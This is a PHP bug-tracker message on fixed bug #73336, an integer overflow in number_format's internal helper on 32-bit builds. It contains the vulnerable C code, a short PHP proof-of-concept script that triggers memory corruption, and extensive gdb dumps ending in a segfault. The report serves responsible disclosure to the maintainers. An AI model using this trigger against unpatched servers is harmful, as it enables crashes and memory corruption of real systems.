Sec Bug->Bug #73336 [Csd]: Memory corruption in _php_math_number_format_ex()

From: Date: Mon, 13 Feb 2017 01:07:04 +0000
Subject: Sec Bug->Bug #73336 [Csd]: Memory corruption in _php_math_number_format_ex()
References: 1  Groups: php.bugs 
Request: Send a blank email to php-bugs+get-207320@lists.php.net to get a copy of this message
Edit report at https://bugs.php.net/bug.php?id=73336&edit=1 ID: 73336 Updated by: stas@php.net Reported by: bughunter at fosec dot vn Summary: Memory corruption in _php_math_number_format_ex() Status: Closed -Type: Security +Type: Bug Package: *General Issues Operating System: CentOS 7 x86 PHP Version: 7.1Git-2016-10-18 (Git) Assigned To: stas Block user comment: N Private report: N Previous Comments: ------------------------------------------------------------------------ [2016-11-05 21:49:42] stas@php.net The fix for this bug has been committed. Snapshots of the sources are packaged every three hours; this change will be in the next snapshot. You can grab the snapshot at http://snaps.php.net/. For Windows: http://windows.php.net/snapshots/ Thank you for the report, and for helping us make PHP better. ------------------------------------------------------------------------ [2016-10-18 09:50:27] bughunter at fosec dot vn Description: ------------ I use php-src from https://github.com/php/php-src. commit: 0a67b29a7c8ce1646be0bc06ddb4a4e55cb4cf73. I have found some vulnerable code at _php_math_number_format_ex() function. _php_math_number_format_ex() function is an internal function which is called from number_format() function. number_format() function takes in a string and uses it as the thousand separator. If the separator string is too long, it may lead to string overflow. Inside the code of the function itself, there are checks in the thousand_sep_len to avoid string overflow: PHPAPI zend_string *_php_math_number_format_ex(double d, int dec, char *dec_point, size_t dec_point_len, char *thousand_sep, size_t thousand_sep_len) { .... /* allow for thousand separators */ if (thousand_sep) { if (integral + thousand_sep_len * ((integral-1) / 3) < integral) { /* overflow */ php_error_docref(NULL, E_ERROR, "String overflow"); } integral += thousand_sep_len * ((integral-1) / 3); } reslen = integral; .... } The problem is that both integral variable and thousand_sep_len variable are unsigned integers, in 32 bits architectures this means 2^32 - 1 maximum value. So, if we set some appropriate values in integral and thousand_sep_len, for example: integral = 0x0a and thousand_sep_len = 0x65000000, integral + thousand_sep_len * ((integral-1) / 3) equals to 0x12F00000a, a result larger than the maximum representable value. In 32 bits architectures, the result will become 0x2F00000a and pass the check. Test script: ---------------- <?php ini_set('memory_limit', -1); $thousands_sep = str_repeat("A", 0x65000000); number_format(1234567890, 0, ".", $thousands_sep); ?> Open php program in gdb, set a breakpoint at line in file ext/standard/math.c:1149 [----------------------------------registers-----------------------------------] EAX: 0x2f00000a ('\n') EBX: 0x52400010 ('A' <repeats 200 times>...) ECX: 0xb7da8000 --> 0x1b8d9c EDX: 0x2f000000 ('') ESI: 0x65000000 ('A' <repeats 200 times>...) EDI: 0xb7860188 --> 0x848b04e (<ZEND_DO_ICALL_SPEC_RETVAL_UNUSED_HANDLER>: push ebp) EBP: 0xbfffbe88 --> 0xbfffbf28 --> 0xbfffbf68 --> 0xbfffbf88 --> 0xbfffbfc8 --> 0xbfffbff8 (--> ...) ESP: 0xbfffbe30 --> 0x0 EIP: 0x834d202 (<_php_math_number_format_ex+316>: cmp eax,DWORD PTR [ebp-0x18]) EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x834d1fd <_php_math_number_format_ex+311>: mov eax,DWORD PTR [ebp-0x18] 0x834d200 <_php_math_number_format_ex+314>: add eax,edx 0x834d202 <_php_math_number_format_ex+316>: cmp eax,DWORD PTR [ebp-0x18] => 0x834d205 <_php_math_number_format_ex+319>: jae 0x834d223 <_php_math_number_format_ex+349> | 0x834d207 <_php_math_number_format_ex+321>: mov DWORD PTR [esp+0x8],0x89758e9 | 0x834d20f <_php_math_number_format_ex+329>: mov DWORD PTR [esp+0x4],0x1 | 0x834d217 <_php_math_number_format_ex+337>: mov DWORD PTR [esp],0x0 | 0x834d21e <_php_math_number_format_ex+344>: call 0x83c1a10 <php_error_docref0> |-> 0x834d223 <_php_math_number_format_ex+349>: mov eax,DWORD PTR [ebp-0x18] 0x834d226 <_php_math_number_format_ex+352>: sub eax,0x1 0x834d229 <_php_math_number_format_ex+355>: mov edx,0xaaaaaaab 0x834d22e <_php_math_number_format_ex+360>: mul edx JUMP is taken [------------------------------------stack-------------------------------------] 0000| 0xbfffbe30 --> 0x0 0004| 0xbfffbe34 --> 0x89758e1 ("%.*F") 0008| 0xbfffbe38 --> 0x0 0012| 0xbfffbe3c --> 0xb4800000 ('A' <repeats 200 times>...) 0016| 0xbfffbe40 --> 0x41d26580 0020| 0xbfffbe44 --> 0x65000014 ('A' <repeats 200 times>...) 0024| 0xbfffbe48 --> 0xb4800000 ('A' <repeats 200 times>...) 0028| 0xbfffbe4c --> 0x41d26580 [------------------------------------------------------------------------------] Legend: code, data, rodata, value 0x0834d202 1150 if (integral + thousand_sep_len * ((integral-1) / 3) < integral) { gdb-peda$ DWORD PTR [ebp-0x18] is integral variable and EAX register will hold result of integral + thousand_sep_len * ((integral-1) / 3) . Because integral is lower than 0x2f00000a, integral will be updated with 0x2f00000a. reslen will be 0x2f00000a. reslen is used as a parameter in zend_string_alloc() to create a new zend_string object holding formatted string ( reffer at ext/standard/math.c:1175 ): res = zend_string_alloc(reslen, 0); Two local variables s and t are used during format process. They are used to copy numbers to formatted string and add thousand separator every three digits ( reffer at ext/standard/math.c:1209 ): /* copy the numbers before the decimal point, adding thousand * separator every three digits */ while (s >= ZSTR_VAL(tmpbuf)) { *t-- = *s--; if (thousand_sep && (++count%3)==0 && s >= ZSTR_VAL(tmpbuf)) { t -= thousand_sep_len; memcpy(t + 1, thousand_sep, thousand_sep_len); } } Because thousand_sep_len is too big, the result of t -= thousand_sep_len; is unexpected value. In this example, $ebp-0x10 points to t. Before [----------------------------------registers-----------------------------------] EAX: 0x9b000000 ('A' <repeats 200 times>...) EBX: 0x52400010 ('A' <repeats 200 times>...) EFLAGS: 0x287 (CARRY PARITY adjust zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x834d3d9 <_php_math_number_format_ex+787>: ja 0x834d3ff <_php_math_number_format_ex+825> 0x834d3db <_php_math_number_format_ex+789>: mov eax,DWORD PTR [ebp+0x20] 0x834d3de <_php_math_number_format_ex+792>: neg eax => 0x834d3e0 <_php_math_number_format_ex+794>: add DWORD PTR [ebp-0x10],eax 0x834d3e3 <_php_math_number_format_ex+797>: mov eax,DWORD PTR [ebp-0x10] [------------------------------------------------------------------------------] Legend: code, data, rodata, value 0x0834d3e0 1213 t -= thousand_sep_len; gdb-peda$ x/1xw $ebp-0x10 0xbfffbe78: 0x52200016 After: [----------------------------------registers-----------------------------------] EAX: 0x9b000000 ('A' <repeats 200 times>...) EBX: 0x52400010 ('A' <repeats 200 times>...) [-------------------------------------code-------------------------------------] 0x834d3db <_php_math_number_format_ex+789>: mov eax,DWORD PTR [ebp+0x20] 0x834d3de <_php_math_number_format_ex+792>: neg eax 0x834d3e0 <_php_math_number_format_ex+794>: add DWORD PTR [ebp-0x10],eax => 0x834d3e3 <_php_math_number_format_ex+797>: mov eax,DWORD PTR [ebp-0x10] 0x834d3e6 <_php_math_number_format_ex+800>: lea edx,[eax+0x1] [------------------------------------------------------------------------------] Legend: code, data, rodata, value Breakpoint 2, _php_math_number_format_ex (d=1234567890, dec=0x0, dec_point=0xb78012b8 ".", dec_point_len=0x1, thousand_sep=0x52400010 'A' <repeats 200 times>..., thousand_sep_len=0x65000000) at /root/fuzzer/php7/ext/standard/math.c:1214 1214 memcpy(t + 1, thousand_sep, thousand_sep_len); gdb-peda$ x/1xw $ebp-0x10 0xbfffbe78: 0xed200016 0xed200016 is an unusable memory address. _php_math_number_format_ex function tries to copy thousand separator into formatted string, leads to memory corruption ( reffer at ext/standard/math.c:1214 ): memcpy(t + 1, thousand_sep, thousand_sep_len); [----------------------------------registers-----------------------------------] EAX: 0x52400010 ('A' <repeats 200 times>...) EBX: 0x52400010 ('A' <repeats 200 times>...) ECX: 0x0 EDX: 0xed200017 ESI: 0x65000000 ('A' <repeats 200 times>...) EDI: 0xb7860188 --> 0x848b04e (<ZEND_DO_ICALL_SPEC_RETVAL_UNUSED_HANDLER>: push ebp) EBP: 0xbfffbe88 --> 0xbfffbf28 --> 0xbfffbf68 --> 0xbfffbf88 --> 0xbfffbfc8 --> 0xbfffbff8 (--> ...) ESP: 0xbfffbe30 --> 0xed200017 EIP: 0x834d3fa (<_php_math_number_format_ex+820>: call 0x80647f0 <memcpy@plt>) EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x834d3f0 <_php_math_number_format_ex+810>: mov eax,DWORD PTR [ebp+0x1c] 0x834d3f3 <_php_math_number_format_ex+813>: mov DWORD PTR [esp+0x4],eax 0x834d3f7 <_php_math_number_format_ex+817>: mov DWORD PTR [esp],edx => 0x834d3fa <_php_math_number_format_ex+820>: call 0x80647f0 <memcpy@plt> 0x834d3ff <_php_math_number_format_ex+825>: mov eax,DWORD PTR [ebp-0x2c] 0x834d402 <_php_math_number_format_ex+828>: add eax,0x10 0x834d405 <_php_math_number_format_ex+831>: cmp eax,DWORD PTR [ebp-0xc] 0x834d408 <_php_math_number_format_ex+834>: jbe 0x834d38e <_php_math_number_format_ex+712> Guessed arguments: arg[0]: 0xed200017 arg[1]: 0x52400010 ('A' <repeats 200 times>...) arg[2]: 0x65000000 ('A' <repeats 200 times>...) [------------------------------------stack-------------------------------------] 0000| 0xbfffbe30 --> 0xed200017 0004| 0xbfffbe34 --> 0x52400010 ('A' <repeats 200 times>...) 0008| 0xbfffbe38 --> 0x65000000 ('A' <repeats 200 times>...) 0012| 0xbfffbe3c --> 0xb4800000 ('A' <repeats 200 times>...) [------------------------------------------------------------------------------] Legend: code, data, rodata, value 0x0834d3fa 1214 memcpy(t + 1, thousand_sep, thousand_sep_len); gdb-peda$ Test script: --------------- <?php ini_set('memory_limit', -1); $thousands_sep = str_repeat("A", 0x65000000); number_format(1234567890, 0, ".", $thousands_sep); ?> Expected result: ---------------- No SIGSEGV Actual result: -------------- [----------------------------------registers-----------------------------------] EAX: 0x52400019 ('A' <repeats 200 times>...) EBX: 0xb7da8000 --> 0x1b8d9c ECX: 0x64fffff7 ('A' <repeats 200 times>...) EDX: 0xed200020 ESI: 0xed200017 EDI: 0x52400019 ('A' <repeats 200 times>...) EBP: 0xbfffbe88 --> 0xbfffbf28 --> 0xbfffbf68 --> 0xbfffbf88 --> 0xbfffbfc8 --> 0xbfffbff8 (--> ...) ESP: 0xbfffbe20 --> 0x65000000 ('A' <repeats 200 times>...) EIP: 0xb7d38ed4 (<__memcpy_ssse3_rep+3380>: movdqu XMMWORD PTR [esi],xmm0) EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0xb7d38ec7 <__memcpy_ssse3_rep+3367>: mov esi,esi 0xb7d38ec9 <__memcpy_ssse3_rep+3369>: lea edi,[edi+eiz*1+0x0] 0xb7d38ed0 <__memcpy_ssse3_rep+3376>: movdqu xmm1,XMMWORD PTR [eax] => 0xb7d38ed4 <__memcpy_ssse3_rep+3380>: movdqu XMMWORD PTR [esi],xmm0 0xb7d38ed8 <__memcpy_ssse3_rep+3384>: movntdq XMMWORD PTR [edx],xmm1 0xb7d38edc <__memcpy_ssse3_rep+3388>: add eax,0x10 0xb7d38edf <__memcpy_ssse3_rep+3391>: add edx,0x10 0xb7d38ee2 <__memcpy_ssse3_rep+3394>: sub ecx,0x10 [------------------------------------stack-------------------------------------] 0000| 0xbfffbe20 --> 0x65000000 ('A' <repeats 200 times>...) 0004| 0xbfffbe24 --> 0xb7860188 --> 0x848b04e (<ZEND_DO_ICALL_SPEC_RETVAL_UNUSED_HANDLER>: push ebp) 0008| 0xbfffbe28 --> 0x52400010 ('A' <repeats 200 times>...) 0012| 0xbfffbe2c --> 0x834d3ff (<_php_math_number_format_ex+825>: mov eax,DWORD PTR [ebp-0x2c]) 0016| 0xbfffbe30 --> 0xed200017 0020| 0xbfffbe34 --> 0x52400010 ('A' <repeats 200 times>...) 0024| 0xbfffbe38 --> 0x65000000 ('A' <repeats 200 times>...) 0028| 0xbfffbe3c --> 0xb4800000 ('A' <repeats 200 times>...) [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV __memcpy_ssse3_rep () at ../sysdeps/i386/i686/multiarch/memcpy-ssse3-rep.S:1269 1269 movdqu %xmm0, (%esi) gdb-peda$ bt #0 __memcpy_ssse3_rep () at ../sysdeps/i386/i686/multiarch/memcpy-ssse3-rep.S:1269 #1 0x0834d3ff in _php_math_number_format_ex (d=1234567890, dec=0x0, dec_point=0xb78012b8 ".", dec_point_len=0x1, thousand_sep=0x52400010 'A' <repeats 200 times>..., thousand_sep_len=0x65000000) at /root/fuzzer/php7/ext/standard/math.c:1214 #2 0x0834da96 in zif_number_format (execute_data=0xb78150a0, return_value=0xbfffbf44) at /root/fuzzer/php7/ext/standard/math.c:1264 #3 0x0848b0ab in ZEND_DO_ICALL_SPEC_RETVAL_UNUSED_HANDLER () at /root/fuzzer/php7/Zend/zend_vm_execute.h:628 #4 0x0848ab04 in execute_ex (ex=0xb7815020) at /root/fuzzer/php7/Zend/zend_vm_execute.h:429 #5 0x0848abc7 in zend_execute (op_array=0xb786c3c0, return_value=0x0) at /root/fuzzer/php7/Zend/zend_vm_execute.h:474 #6 0x0843a606 in zend_execute_scripts (type=0x8, retval=0x0, file_count=0x3) at /root/fuzzer/php7/Zend/zend.c:1464 #7 0x083c4564 in php_execute_script (primary_file=0xbffff2ec) at /root/fuzzer/php7/main/main.c:2537 #8 0x084fb42e in do_cli (argc=0x3, argv=0x8a5fa88) at /root/fuzzer/php7/sapi/cli/php_cli.c:990 #9 0x084fc37f in main (argc=0x3, argv=0x8a5fa88) at /root/fuzzer/php7/sapi/cli/php_cli.c:1378 #10 0xb7c08943 in __libc_start_main (main=0x84fbc23 <main>, argc=0x3, ubp_av=0xbffff574, init=0x8505170 <__libc_csu_init>, fini=0x85051e0 <__libc_csu_fini>, rtld_fini=0xb7fee700 <_dl_fini>, stack_end=0xbffff56c) at libc-start.c:274 #11 0x08065af1 in _start () ------------------------------------------------------------------------ -- Edit this bug report at https://bugs.php.net/bug.php?id=73336&edit=1

« previous php.bugs (#207320) next »